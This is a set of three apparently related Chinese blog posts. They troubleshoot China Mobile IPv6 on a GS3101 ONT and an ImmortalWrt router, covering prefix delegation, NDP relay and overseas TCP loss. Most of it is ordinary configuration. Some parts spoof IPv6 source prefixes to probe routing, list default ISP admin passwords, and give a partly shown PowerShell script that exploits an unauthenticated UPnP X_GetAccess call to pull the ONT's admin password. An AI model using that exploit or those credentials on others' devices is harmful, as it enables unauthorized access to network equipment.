作者：catcatyu（xxx@example.com）

背景

家里一条中国移动浙江杭州宽带出现了一个很奇怪的 IPv6 问题：

• 国内 IPv6 网站的 TCP/443 正常；
• 海外 IPv6 地址可以 ping 通；
• 但是海外 IPv6 的 TCP 连接不通，包括 HTTPS 443 和自有海外服务器的 SSH 22；
• 同样是中国移动 IPv6，另一条宽带的海外 IPv6 TCP 又是正常的。

这类问题很容易被误判成 DNS、MTU、光猫防火墙、OpenWrt 配置错误。实际排查下来，问题更像是移动出口或中间链路按源 IPv6 前缀分流后，部分前缀的海外 TCP 路径异常。

为了避免暴露家庭网络的完整地址，下面只保留网段级别信息，具体主机地址和接口 IID 均已脱敏。

当前网络结构

网络结构大致如下：

1
2
3
4
5
6
7
8
9

终端设备
  |
ImmortalWrt / OpenWrt
  |
中国移动光猫
  |
中国移动 IPv6 网络
  |
海外服务器

当时拿到的主要 IPv6 网段如下：

可以看到，两个宽带虽然都属于中国移动 2409:8a28::/32 附近的地址，但从 /40 开始就已经不同：

1
2

异常宽带所在大致范围：2409:8a28:600::/40
正常宽带所在大致范围：2409:8a28:800::/40

这意味着它们在移动内部可能已经走不同地址池、BRAS、城域网出口或海外出口策略。

先排除本地配置问题

在 ImmortalWrt 上固定同一个源地址测试，结果如下：

这个结果说明：

1. IPv6 地址、路由、RA/DHCPv6 基本不是问题，因为国内 IPv6 TCP 能通；
2. 不是海外 IPv6 完全不通，因为 ICMPv6 能通；
3. 问题集中在海外方向的 TCP。

光猫 WAN 口抓包

为了确认包有没有从本地发出去，我在光猫上放了一个静态编译的 tcpdump，直接抓光猫 PPP WAN 接口。

抓包结果显示，从 ImmortalWrt 发往自有海外服务器 TCP/22 的 SYN 已经从光猫 WAN 口发出：

1
2
3
4

光猫 ppp 接口：
本地 LAN 前缀地址 > 海外服务器:22 Flags [S]
本地 LAN 前缀地址 > 海外服务器:22 Flags [S]
本地 LAN 前缀地址 > 海外服务器:22 Flags [S]

同时在海外服务器网卡上抓包，完全收不到这些 SYN：

1
2
3

海外服务器 eth0：
0 packets captured
0 packets received by filter

这一步基本可以排除光猫和 OpenWrt 没有把包发出去的问题。包已经离开家庭网络，但没有到达海外服务器。

同一个源地址反复验证

为了避免不同源地址造成误判，后续测试固定使用同一个 LAN 侧源地址所在网段：

1

2409:8a28:6e9:69a1::/64

结果依然是：

• 国内 IPv6 TCP 正常；
• 海外 IPv6 ICMPv6 正常；
• 海外 IPv6 TCP 超时；
• 光猫 WAN 能看到 SYN 发出；
• 海外服务器收不到 SYN。

这说明问题不是 DNS，也不是随机某次连接失败。

伪源前缀探测

后面做了一个更关键的验证：在 ImmortalWrt 上临时加一些未分配给本线路的 IPv6 源地址，只对自有海外服务器发极少量测试包，同时远端 tcpdump 观察是否能收到。

注意：这种方式只能判断“带这个源前缀的包是否能穿过移动出口到远端”，不能代表这个地址真的能正常使用。因为这个地址并没有分配给本线路，回包不会正确回到本线路。

测试现象：

这说明移动链路并没有对源地址做非常严格的入口校验，至少伪源 ICMPv6 可以到远端；同时也说明，海外 TCP 是否到达和源 IPv6 前缀强相关。

前缀抽样结果

随后对 2409:8a28::/32 内的一些前缀做了低速抽样。所有测试都只打自有海外服务器的 TCP/22，远端以 tcpdump 判断 SYN 是否到达。

/40 粗扫

每个 /40 取一个代表地址，结果只有这两个代表点到达：

1
2

2409:8a28:800::/40  代表点到达
2409:8a28:c00::/40  代表点到达

异常线路所在的 2409:8a28:600::/40 代表点未到。

不过代表点失败不等于整个 /40 都失败，所以继续细扫。

/44 细扫

2409:8a28:600::/40 内：

异常线路所在的 2409:8a28:6e9::/48 落在 2409:8a28:6e0::/44 内。

2409:8a28:800::/40 内：

另一个正常宽带所在的 2409:8a28:824::/48 落在 2409:8a28:820::/44 内，测试结果为到达。

2409:8a28:c00::/40 内：

2409:8a28:6e0::/44 继续细分

因为异常线路落在 6e0::/44 内，所以继续细分到 /48。

结果：

这里可以看到，6e0::/44 内部也是混合的。6e1::/48 能到，6e9::/48 不能到。

2409:8a28:6e9::/48 继续细分

异常线路所在的 2409:8a28:6e9::/48 继续细分到 /52，16 个代表点全部未到：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

2409:8a28:6e9:0000::/52  未到
2409:8a28:6e9:1000::/52  未到
2409:8a28:6e9:2000::/52  未到
2409:8a28:6e9:3000::/52  未到
2409:8a28:6e9:4000::/52  未到
2409:8a28:6e9:5000::/52  未到
2409:8a28:6e9:6000::/52  未到
2409:8a28:6e9:7000::/52  未到
2409:8a28:6e9:8000::/52  未到
2409:8a28:6e9:9000::/52  未到
2409:8a28:6e9:a000::/52  未到
2409:8a28:6e9:b000::/52  未到
2409:8a28:6e9:c000::/52  未到
2409:8a28:6e9:d000::/52  未到
2409:8a28:6e9:e000::/52  未到
2409:8a28:6e9:f000::/52  未到

异常线路的 LAN 前缀落在 2409:8a28:6e9:6000::/52 内。

2409:8a28:6e1::/48 对比

作为对照，对能到的 2409:8a28:6e1::/48 也细分到 /52。16 个代表点全部到达。

这说明异常不是整个 2409:8a28:6e0::/44 的简单统一策略，而是更细粒度的源前缀分流或出口路径差异。

前缀结果汇总表

下面把主要探测结果合并成一张表。这里的“到达”表示伪源 TCP SYN 能在自有海外服务器 tcpdump 中看到；“未到”表示远端没有抓到对应 SYN。

结论

这次排查得到的结论是：

1. 本地光猫和 ImmortalWrt 已经把海外 TCP SYN 发出；
2. 国内 IPv6 TCP 正常，海外 IPv6 ICMPv6 正常；
3. 海外 IPv6 TCP SYN 在离开本地后、到达远端前丢失；
4. 丢失与源 IPv6 前缀强相关；
5. 异常线路所在的 2409:8a28:6e9::/48 按 /52 抽样全部未到；
6. 对照的 2409:8a28:6e1::/48 按 /52 抽样全部到达；
7. 另一个正常宽带所在的 2409:8a28:824::/48 也落在抽样显示正常的区域。

因此，这个问题不太像 DNS、MTU、光猫防火墙或 OpenWrt 配置错误，更像是中国移动浙江杭州这条线路当前拿到的 IPv6 源前缀被分配到了有问题的海外 TCP 出口路径，或者对应源前缀在中间链路上被策略性丢弃。

后续处理建议

如果遇到类似问题，可以按这个顺序排查：

1. 固定同一个源 IPv6 地址测试国内和海外 TCP；
2. 同时测试 ICMPv6，区分“IPv6 全不通”和“只有 TCP 不通”；
3. 在光猫或主路由 WAN 口抓包，确认 SYN 是否已离开本地；
4. 在自有海外服务器抓包，确认 SYN 是否到达远端；
5. 如果有另一条宽带或另一段 IPv6 前缀，可以用同一目标做对照；
6. 向运营商报障时，重点描述“国内 IPv6 TCP 正常、海外 IPv6 ICMP 正常、海外 IPv6 TCP SYN 从本地发出但远端收不到”，不要只说“IPv6 不通”。

如果运营商无法处理，临时绕过方案通常只有：

• 重拨尝试获取不同 IPv6 前缀；
• 使用另一条出口正常的宽带；
• 对海外流量走隧道或代理；
• 暂时关闭客户端对海外目标的 IPv6 优先级。

这类问题的本质不在家庭网络内部，而在运营商 IPv6 出口路径和源前缀策略上。

本文2026-06-21首发于猫猫鱼的小窝，最后修改于2026-06-21

作者：catcatyu（xxx@example.com）

背景

家里用的是中国移动宽带，光猫是吉比特 GS3101（中国移动定制），下挂一台 ImmortalWrt 路由器（MT7981 芯片）做二级路由。最开始遇到的问题是：ImmortalWrt 的 wan6 经常拿不到 DHCPv6-PD 前缀，日志里反复出现：

1
2

daemon.warn odhcp6c: Server returned IA_PD status 'No Prefix Available'
daemon.warn odhcp6c: Server returned IA_PD status 'No Binding'

一开始我以为是 ISP 不下发 PD，所以尝试过 NDP Relay。后面拿到光猫超管和 Telnet 后确认，真实原因不是“中国移动完全不给前缀”，而是：

ISP 已经给光猫下发了 /60，但光猫默认没有把可用前缀正确委派给下挂的 ImmortalWrt。

当前已经跑通的链路是：

1
2
3
4

ISP -> 光猫 ppp1 获取 2409:8a28:6e2:1c20::/60
光猫 br0 自用 2409:8a28:6e2:1c20::/64
光猫 dhcp6s -> ImmortalWrt 委派 2409:8a28:6e2:1c28::/61
ImmortalWrt br-lan -> LAN 设备下发 2409:8a28:6e2:1c28::/64

国内 IPv6 连通性正常；海外 IPv6 的 TCP/443 仍然不稳定或不可达，这是运营商出口策略问题，不是本地 DHCPv6-PD 配置问题。

当前状态核对

光猫侧

光猫固件：

1
2

cat /etc/fwver.conf
# V1B0.C02.01

ISP 给光猫的前缀：

1
2
3
4
5

cat /var/run/ppp1/orgpd6
# 2409:8a28:6e2:1c20::/60

cat /var/run/ppp1/pd6
# 2409:8a28:6e2:1c20::/64

orgpd6 是 ISP 原始委派给光猫的 /60；pd6 是光猫自己拿来给 br0/LAN 使用的 /64。

光猫 LAN 地址：

1

br0 inet6 addr: 2409:8a28:6e2:1c20:b654:59ff:fe2a:59a8/64

光猫当前 DHCPv6 Server 配置：

option domain-name-servers fe80::1;
interface br0 {
        address-pool pool1 172800 259200;
};
pool pool1 {
        range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host immortalwrt {
        duid 00:03:00:01:70:2a:d7:60:77:20;
        prefix 2409:8a28:6e2:1c28::/61 172800 259200;
};

这组配置是合理的：

• 2409:8a28:6e2:1c20::/60 覆盖 1c20 到 1c2f 这 16 个 /64。
• 光猫自己使用 1c20::/64。
• 委派给 ImmortalWrt 的 1c28::/61 覆盖 1c28 到 1c2f，没有和光猫自用的 1c20::/64 重叠。
• 光猫路由表中已有到 ImmortalWrt 的路由：

1

2409:8a28:6e2:1c28::/61 via fe80::722a:d7ff:fe60:7720 dev br0

ImmortalWrt 侧

wan6 当前已拿到 IA_NA 和 IA_PD：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

"ipv6-address": [
  {
    "address": "2409:8a28:6e2:1c20:722a:d7ff:fe60:7720",
    "mask": 64
  }
],
"ipv6-prefix": [
  {
    "address": "2409:8a28:6e2:1c28::",
    "mask": 61,
    "assigned": {
      "lan": {
        "address": "2409:8a28:6e2:1c28::",
        "mask": 64
      }
    }
  }
]

br-lan 当前地址：

1

2409:8a28:6e2:1c28::1/64

关键 UCI 配置：

1

uci show network.wan6

1
2
3
4
5
6

network.wan6=interface
network.wan6.device='eth1'
network.wan6.proto='dhcpv6'
network.wan6.reqaddress='try'
network.wan6.reqprefix='60'
network.wan6.releaseprefix='1'

1

uci show network.lan

1
2
3
4
5

network.lan=interface
network.lan.device='br-lan'
network.lan.proto='static'
network.lan.ipaddr='192.168.7.1'
network.lan.ip6assign='64'

1

uci show dhcp.lan

1
2
3
4

dhcp.lan.ra='server'
dhcp.lan.dhcpv6='server'
dhcp.lan.ndp='disabled'
dhcp.lan.ra_flags='managed-config' 'other-config'

这个状态也是合理的：既然已经拿到正规 PD，LAN 侧就应该用 RA/DHCPv6 Server，下游不需要再开 NDP Relay。

实测连通性：

1
2
3
4
5
6

ping6 -c 3 2400:3200::1
# 0% packet loss

wget -6 -q -O /dev/null --timeout=8 https://www.baidu.com && echo OK
wget -6 -q -O /dev/null --timeout=8 https://www.qq.com && echo OK
wget -6 -q -O /dev/null --timeout=8 https://www.aliyun.com && echo OK

国内 IPv6 和 HTTPS 都是通的。

超管密码和 Telnet 获取过程

这台 GS3101 的默认超管密码已经失效，原因大概率是运营商通过 TR-069/网管系统把超管密码随机化了。所以网上常见的默认组合不可靠：

1
2
3
4

CMCCAdmin / 默认密码
telecomadmin / 默认密码
SN 推算密码
MAC 推算密码

实际可行的路径是：把光猫 SN 发给装维师傅，师傅通过移动装维/网管系统查询当前设备绑定的动态超管密码。这个密码不是本地用 SN 简单 hash 算出来的，更像是后台系统按设备 SN、地区、工单或设备注册信息查表/下发的结果。

常见获取路径对比：

UPnP 那条路要特别注意：网上文章常把“开启 UPnP 后 Telnet 自动开放”写成因果关系，但实测过程里往往还混有 X_SetAccess、Reboot 等 action。更准确地说，Telnet 开放可能来自“开启远程/本地管理权限并重启后生效”，不一定只是 UPnP 开关本身导致。

拿到 Web 超管后，可以进入隐藏配置页面：

1

http://192.168.1.1/cgi-bin/upgrade.asp

其中：

• romfile：配置导入。
• tclinux.bin：固件导入。

如果要改 romfile，务必先备份原配置。配置导入比直接在 shell 里改 /etc 更有机会持久化，但也更容易因为 XML/校验错误导致配置异常。

Telnet 登录踩坑

这台设备的 Telnet 和 Web 超管不是同一套账号。Web 用的是超管账号，Telnet 用的是 Account_TelnetEntry 里的账号。

Telnet 登录方式：

1

telnet -K -8 -E 192.168.1.1 23

参数说明：

• -K：不自动登录。
• -8：8-bit 传输，避免部分字符被处理。
• -E：禁用 escape 字符，避免特殊字符干扰交互。

正确现象：

1
2
3
4
5

Trying 192.168.1.1...
Connected to 192.168.1.1.
tc login:
Password:
#

常见错误：

登录后可以核对：

1
2
3

tcapi show Account_TelnetEntry
ps | grep utelnetd
netstat -lntup | grep ':23'

这台设备上 utelnetd 的启动形式是：

1

/usr/bin/utelnetd -p 23 -l /bin/login -d

utelnetd 只支持 -p、-l、-d，没有绑定指定监听地址的参数，所以不能直接让它只监听 192.168.1.1。如果要保留 Telnet，又不想暴露到 WAN，只能靠防火墙规则限制 WAN 侧访问。

当前策略是：Telnet/Web 保留 LAN 侧可用，WAN 侧通过 iptables/ip6tables DROP 管理端口。

推荐方案：让光猫向 ImmortalWrt 委派前缀

如果你的光猫也已经从 ISP 拿到了 /60 或 /56，优先使用 DHCPv6-PD，不要先上 NDP Relay。

1. 确认光猫拿到的原始 PD

Telnet 登录光猫后查看：

1
2

cat /var/run/ppp1/orgpd6
cat /var/run/ppp1/pd6

如果 orgpd6 有 /60、/56 之类的前缀，而二级路由拿不到 PD，问题通常在光猫的 dhcp6s 下发逻辑。

2. 找到 ImmortalWrt 的 DUID

在 ImmortalWrt 上看 wan6 客户端 DUID。常见方式是看 odhcpd lease 或用 WAN 口 MAC 推导：

1
2

cat /tmp/hosts/odhcpd 2>/dev/null
ip link show dev eth1

本文这台 ImmortalWrt 的 WAN 口 MAC 是：

1

70:2a:d7:60:77:20

对应 DUID-LL：

1

00:03:00:01:70:2a:d7:60:77:20

格式说明：

• 00:03：DUID-LL
• 00:01：以太网
• 后面 6 字节：WAN 口 MAC

3. 修改光猫 dhcp6s.conf

光猫运行期配置文件：

1

/etc/dhcp6s.conf

示例配置：

option domain-name-servers fe80::1;
interface br0 {
        address-pool pool1 172800 259200;
};
pool pool1 {
        range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host immortalwrt {
        duid 00:03:00:01:70:2a:d7:60:77:20;
        prefix 2409:8a28:6e2:1c28::/61 172800 259200;
};

注意前缀不要和光猫 br0 自用的 /64 重叠。比如光猫自用 1c20::/64 时，不要再把 1c20::/64 委派给二级路由。

重启 DHCPv6 Server：

1
2
3

killall dhcp6s 2>/dev/null
sleep 1
/userfs/bin/dhcp6s -c /etc/dhcp6s.conf br0 -p /var/run/dhcp6s.pid &

4. 配置 ImmortalWrt 请求 PD

1
2
3
4
5
6

uci set network.wan6.proto='dhcpv6'
uci set network.wan6.device='eth1'
uci set network.wan6.reqaddress='try'
uci set network.wan6.reqprefix='60'
uci set network.lan.ip6assign='64'
uci commit network

LAN 侧用 RA/DHCPv6 Server：

1
2
3
4
5
6
7

uci set dhcp.lan.ra='server'
uci set dhcp.lan.dhcpv6='server'
uci set dhcp.lan.ndp='disabled'
uci delete dhcp.lan.ra_flags 2>/dev/null
uci add_list dhcp.lan.ra_flags='managed-config'
uci add_list dhcp.lan.ra_flags='other-config'
uci commit dhcp

如果之前做过 NDP Relay，建议清理 wan6 上的 relay 残留，避免以后排障混乱：

1
2
3
4
5
6

uci delete dhcp.wan6.ra 2>/dev/null
uci delete dhcp.wan6.dhcpv6 2>/dev/null
uci delete dhcp.wan6.ndp 2>/dev/null
uci delete dhcp.wan6.master 2>/dev/null
uci set dhcp.wan6.ignore='1'
uci commit dhcp

重启服务：

1
2
3
4
5

ifdown wan6
sleep 3
ifup wan6
/etc/init.d/odhcpd restart
/etc/init.d/dnsmasq restart

验证：

1
2
3

ifstatus wan6 | grep -A20 '"ipv6-prefix"'
ip -6 addr show dev br-lan
ip -6 route show

正常应该能看到：

1
2
3

wan6 获得 2409:8a28:6e2:1c28::/61
br-lan 获得 2409:8a28:6e2:1c28::1/64
LAN 客户端获得 2409:8a28:6e2:1c28::/64 内的地址

一个容易踩的坑：不要把动态 GUA 写死到 ra_dns

当前这台 ImmortalWrt 里有一项：

1

dhcp.lan.ra_dns='2409:8a28:6e2:1c28::1'

这在当前前缀不变时能工作，但它绑定了动态公网前缀。如果以后光猫重新拨号后前缀变化，客户端可能继续收到过期 DNS 地址。

更稳的做法是：

• 不手动写死 ra_dns，让 odhcpd 按当前接口状态发布 DNS；
• 或者发布稳定的公网 IPv6 DNS；
• 或者使用稳定 ULA 地址作为路由器 LAN 侧 DNS 地址。

如果只是为了快速验证，写死当前 br-lan 地址没问题；要长期运行，建议避免这种配置。

临时方案：NDP Relay

只有在下面这种情况下才考虑 NDP Relay：

• 光猫没有给二级路由委派 PD；
• 暂时拿不到光猫超管；
• 只是想临时让 LAN 设备获得 IPv6。

NDP Relay 的本质是把上游 /64 共享给下游 LAN，能用但不如 DHCPv6-PD 标准。它依赖运营商没有做严格的 ND/SAVI 检查，也容易在前缀变化时出问题。

如果已经能让光猫给 ImmortalWrt 下发 PD，就不要再把 LAN 配成 NDP Relay。

光猫配置持久化问题

这类光猫的文件系统比较特殊：

• 根文件系统是 squashfs，只读。
• /etc 通常是启动后生成到 tmpfs 的运行期目录。
• /etc/dhcp6s.conf 很可能重启后恢复。
• 我这台固件上 /userfs 看起来在根文件系统内，不是可靠可写分区；之前尝试写入会报 Read-only file system。
• /usr/osgi 是 jffs2 可写区，但它属于 OSGi/插件运行区，不建议随便塞启动脚本。

所以不要简单照抄“把脚本追加到 /etc/init.d/rcS”这种做法。这个固件的 /etc/init.d/rcS 来自只读系统，直接修改不可持久；如果某些机型上能改，也要先确认重启后是否保留。

更稳的持久化路线：

• 通过配置导出/导入修改 romfile 中的 DHCPv6 配置；
• 找装维把光猫改桥接，让 ImmortalWrt 直接拨号；
• 如果确认有可靠可写启动钩子，再做自动替换 dhcp6s.conf 的脚本。

Web 超管页面里隐藏的配置导入页面是：

1

http://192.168.1.1/cgi-bin/upgrade.asp

其中 romfile 是配置导入，tclinux.bin 是固件导入。改配置前务必先备份原配置。

TR-069、UPnP 和远程管理

拿到超管和 Telnet 后，我做了这些安全收敛：

1
2
3
4
5
6
7
8

tcapi set Cwmp_Entry Active No
tcapi set Cwmp_Entry Tr069Enable 0
tcapi set Cwmp_Entry periodActive No
tcapi set Cwmp_Entry tr069Commit 1
tcapi commit Cwmp_Entry
tcapi save
killall tr69_monitor 2>/dev/null
killall tr69 2>/dev/null

当前确认：

1
2
3

Cwmp_Entry Active=No
Cwmp_Entry Tr069Enable=0
Cwmp_Entry periodActive=No

UPnP 保持开启，因为内网仍然需要；但不要把 UPnP、Web、Telnet 暴露到 WAN。当前运行期防火墙已经对 ppp+ 和 nas+ 的管理端口做了 DROP，Web 80 还有系统自带的 !br+ DROP 规则。Telnet 23 的 WAN DROP 规则目前是运行期规则，重启后仍需复核。

一句话：Telnet/Web 可以开，但只应该对内网开。TR-069 建议关闭。UPnP 如果要保留，也只保留 LAN 侧可用。

海外 IPv6 不通的问题

本地前缀和 DHCPv6-PD 配好后，国内 IPv6 站点正常：

1
2
3
4

ping6 -c 3 2400:3200::1
wget -6 -q -O /dev/null --timeout=8 https://www.baidu.com
wget -6 -q -O /dev/null --timeout=8 https://www.qq.com
wget -6 -q -O /dev/null --timeout=8 https://www.aliyun.com

但海外 IPv6 常见现象是：ICMPv6 能 ping，TCP/443 不通或超时。之前抓包能看到本地 SYN 发出，但收不到 SYN-ACK。

这更像中国移动 IPv6 国际出口策略或链路质量问题，不是本地 RA/DHCPv6 配错。判断方法：

• 国内 IPv6 HTTPS 正常；
• 本地路由器有默认 IPv6 路由；
• LAN 设备拿到正确公网 IPv6；
• 海外 TCP 单独失败。

解决办法通常不是改 DHCPv6，而是走 IPv4 代理，或换 IPv6 国际出口更好的运营商。

总结

最关键的修正是：不要把这个问题简单归因成“ISP 不下发前缀”。现场证据表明，ISP 给了光猫 /60；真正要做的是让光猫的 DHCPv6 Server 把合适的子前缀委派给 ImmortalWrt。

本文2026-06-21首发于猫猫鱼的小窝，最后修改于2026-06-21

作者：catcatyu（xxx@example.com）

背景

家里用的是中国移动宽带，光猫是吉比特GS3101（中国移动定制），下挂一台ImmortalWrt路由器（MT7981芯片）做二级路由。遇到的问题是：IPv6时有时无，有时候能用有时候就断了。

经过一番折腾，搞清楚了原因并找到了解决方案。虽然海外IPv6因为运营商原因连不通，但国内IPv6站点是可以正常访问的。

问题诊断

1. ISP不下发DHCPv6-PD前缀

登录ImmortalWrt路由器查看日志，发现了关键信息：

daemon.warn odhcp6c: Server returned IA_PD status 'No Prefix Available'
daemon.warn odhcp6c: Server returned IA_PD status 'No Binding'

几乎每天都会出现。中国移动的DHCPv6服务器在续约前缀时返回"无前缀可用"或"无绑定"。

这里需要区分两个概念：

ISP给了路由器一个地址（IA_NA），但拒绝给前缀（IA_PD）。正常情况下，路由器需要PD前缀才能给局域网设备分配IPv6地址，所以LAN设备就拿不到IPv6了。

2. 光猫固件封堵了超管获取

我尝试通过获取光猫超级管理员密码来改桥接模式（让路由器直接拨号，PD前缀分配会更稳定），但是：

• 光猫型号：GS3101，固件版本：V1B0.C02.01（固件完整dump下载 ，256MB Flash，含全部11个MTD分区）
• getGateWay.cgi 接口存在但返回 400 Bad Request（已被封堵）
• telnet端口23关闭
• 所有默认超管密码（CMCCAdmin/aDm8H%MdA、telecomadmin/nE7jA%5m 等）全部错误
• SN推算密码、MAC推算密码均不对
• 所有已知CGI漏洞页面返回404

结论：这个固件版本是运营商通过TR-069远程升级的新版本，已经封堵了所有已知的软件漏洞获取超管的方法。

想获取超管只能：恢复出厂+秒删TR-069、TTL串口硬件调试、或找装维师傅要密码。

解决方案：NDP Relay + IPv6 Forwarding

既然拿不到超管改不了桥接，那就换个思路——把WAN口的IPv6共享给LAN设备。

原理

ISP虽然不给PD前缀，但WAN口有一个 /64 的公网IPv6地址。通过NDP Relay，可以把WAN侧收到的Router Advertisement（RA）原样转发到LAN。LAN设备收到RA后，会通过SLAAC从同一个 /64 前缀自动生成IPv6地址。

然后通过路由器的IPv6 Forwarding和NDP Proxy，让LAN设备的流量能正确路由到WAN。

本质上就是把WAN的 /64 前缀"共享"给了LAN设备。

具体配置（ImmortalWrt/OpenWrt）

1. 修改DHCP/RA配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# LAN侧：开启NDP relay和RA server
uci set dhcp.lan.ndp=relay
uci set dhcp.lan.ra=server
uci set dhcp.lan.dhcpv6=server

# 设置RA标志，让客户端同时使用SLAAC和DHCPv6
uci delete dhcp.lan.ra_flags 2>/dev/null
uci add_list dhcp.lan.ra_flags=managed-config
uci add_list dhcp.lan.ra_flags=other-config

# 设置RA发送间隔
uci set dhcp.lan.ra_maxinterval=300
uci set dhcp.lan.ra_mininterval=100

# DHCPv6租约时间
uci set dhcp.lan.dhcpv6_leasetime=86400

uci commit dhcp

2. 给LAN接口添加WAN前缀的静态地址

1
2
3

# 假设WAN前缀是 2409:xxxx:xxxx:xxxx::/64
# 给br-lan加一个该前缀的静态地址
ip -6 addr add 2409:xxxx:xxxx:xxxx::2/64 dev br-lan

把 2409:xxxx:xxxx:xxxx 替换为你WAN口的实际前缀。可以通过 ip -6 addr show dev eth1 scope global 查看。

3. 开启IPv6转发和NDP代理

1
2
3
4
5
6
7
8

# 开启IPv6转发
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
echo 1 > /proc/sys/net/ipv6/conf/eth1/forwarding
echo 1 > /proc/sys/net/ipv6/conf/br-lan/forwarding

# 开启NDP代理（让ISP能路由到LAN设备）
echo 1 > /proc/sys/net/ipv6/conf/all/proxy_ndp
echo 1 > /proc/sys/net/ipv6/conf/eth1/proxy_ndp

4. 持久化配置（写入 /etc/rc.local）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

cat > /etc/rc.local << 'EOF'
# 静态IPv6地址（替换为你的实际前缀）
ip -6 addr add 2409:xxxx:xxxx:xxxx::2/64 dev br-lan 2>/dev/null

# IPv6转发
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
echo 1 > /proc/sys/net/ipv6/conf/eth1/forwarding
echo 1 > /proc/sys/net/ipv6/conf/br-lan/forwarding

# NDP代理
echo 1 > /proc/sys/net/ipv6/conf/all/proxy_ndp
echo 1 > /proc/sys/net/ipv6/conf/eth1/proxy_ndp

exit 0
EOF

5. 优化wan6 DHCPv6参数

1
2
3

uci set network.wan6.reqprefix=56
uci set network.wan6.releaseprefix=1
uci commit network

虽然ISP目前不给PD，但万一以后给了，这个配置能自动用上。

6. 添加IPv6看门狗脚本

ISP的前缀分配不稳定，加个脚本每5分钟检测一次，掉线自动恢复：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

cat > /usr/bin/ipv6-watchdog.sh << 'SCRIPT'
#!/bin/sh
LOG_TAG="ipv6-watchdog"
PING_TARGET="2400:3200::1"

wan6_has_prefix() {
    ip -6 addr show dev eth1 2>/dev/null | grep -q "scope global"
}

ipv6_ping_ok() {
    ping6 -c 1 -W 5 "$PING_TARGET" >/dev/null 2>&1
}

if wan6_has_prefix && ipv6_ping_ok; then
    exit 0
fi

logger -t "$LOG_TAG" "IPv6 lost, restarting wan6..."
ifdown wan6
sleep 5
ifup wan6

for i in $(seq 1 12); do
    sleep 5
    if wan6_has_prefix; then
        logger -t "$LOG_TAG" "IPv6 restored after ${i}x5s"
        /etc/init.d/odhcpd restart
        exit 0
    fi
done

logger -t "$LOG_TAG" "IPv6 NOT restored after 60s"
exit 1
SCRIPT

chmod +x /usr/bin/ipv6-watchdog.sh

# 添加定时任务（每5分钟检查一次）
echo "*/5 * * * * /usr/bin/ipv6-watchdog.sh" >> /etc/crontabs/root
/etc/init.d/cron enable
/etc/init.d/cron restart

7. 重启服务生效

1
2

/etc/init.d/odhcpd restart
/etc/init.d/dnsmasq restart

验证

配置完成后，直连ImmortalWrt WiFi的设备（如手机）应该能通过SLAAC自动获取公网IPv6地址。

测试方法：

1
2
3
4
5
6
7
8

# 从路由器测试国内IPv6站点
ping6 -c 3 2400:3200::1          # 阿里DNS
ping6 -c 3 2409:8a28:6e2:1c20::1 # 你的WAN网关

# 测试国内HTTPS站点
wget -6 -q -O /dev/null --timeout=10 https://www.baidu.com && echo "百度 OK"
wget -6 -q -O /dev/null --timeout=10 https://www.qq.com && echo "QQ OK"
wget -6 -q -O /dev/null --timeout=10 https://www.aliyun.com && echo "阿里云 OK"

海外IPv6不通的问题

配置完成后发现一个现象：国内IPv6站点全部正常，但海外IPv6站点TCP连不上（ping能通但HTTP/HTTPS超时）。

通过tcpdump抓包确认：

# 路由器发出的TCP SYN包
IP6 router.44178 > remote.443: Flags [S]  # SYN发出
# 没有任何SYN-ACK回来...

原因：中国移动的IPv6国际出口过滤了TCP流量，只放行ICMPv6。这不是路由器防火墙的问题（即使完全放开防火墙也不行），而是运营商层面的策略。

如果你需要访问海外IPv6站点，建议：

• 代理走IPv4出站（大部分代理客户端默认就这样）
• 换电信/联通宽带（IPv6到海外通常好很多）

注意事项

关于NDP Relay的安全性

这种方案本质上是把WAN的 /64 前缀共享给LAN。如果ISP做了严格的ND安全检查（如SAVI/ND Snooping），会检测到同一端口冒出了多个IPv6源地址，从而丢弃非绑定地址的包。

目前中国移动大部分场景不管这个，所以能用。如果某天被限制了，表现为：设备有IPv6地址但上不了网（被静默丢弃）。到时候只能：

• 打电话给运营商要PD前缀
• 光猫改桥接（需要超管密码）
• 用6in4/HE Tunnel Broker走隧道

关于光猫GS3101/GS2101超管获取

如果你也是GS3101或GS2101型号的光猫，固件是V1B0.C02.01或更新版本，传统的getGateWay.cgi等软件漏洞已经被封堵。但还有以下几种方法可以获取超管密码：

方法一：UPnP漏洞（推荐，免费）

参考：吉比特GS2101光猫-开启telnet-获取超级管理员账号密码 - 恩山无线论坛

GS2101/GS3101光猫在端口5555运行了一个UPnP IGD服务，其中DeviceInfo子服务包含一个厂商自定义的SOAP方法X_GetAccess，不需要任何认证就能返回超管密码。

前提条件：光猫的UPnP必须开启。 UPnP设置需要超管权限才能看到（在"应用" → “UPnP配置"里），所以这是一个鸡生蛋的问题。但如果你能通过其他方式先拿到一次超管密码（比如找师傅），开启UPnP后以后就可以自己随时获取了。

获取密码的PowerShell脚本（Windows下运行）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

# GS2101/GS3101 光猫超管密码获取脚本
# 前提：光猫UPnP已开启

$ONT_IP = "192.168.1.1"

Write-Host "[1/2] Checking ONT..." -ForegroundColor Yellow
if (-not (Test-Connection $ONT_IP -Count 1 -Quiet)) {
    Write-Host "[FAIL] Cannot reach $ONT_IP" -ForegroundColor Red
    exit 1
}
Write-Host "      OK" -ForegroundColor Green

Write-Host "[2/2] Fetching password via UPnP..." -ForegroundColor Yellow

$soap = "POST /UD/?2 HTTP/1.1`r`n" +
        "Host: ${ONT_IP}:5555`r`n" +
        "Content-Type: text/xml; charset=utf-8`r`n" +
        "SOAPAction: `"urn:dslforum-org:service:DeviceInfo:1#X_GetAccess`"`r`n" +
        "Content-Length: {0}`r`n" +
        "Connection: close`r`n`r`n"

$xml = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>' +
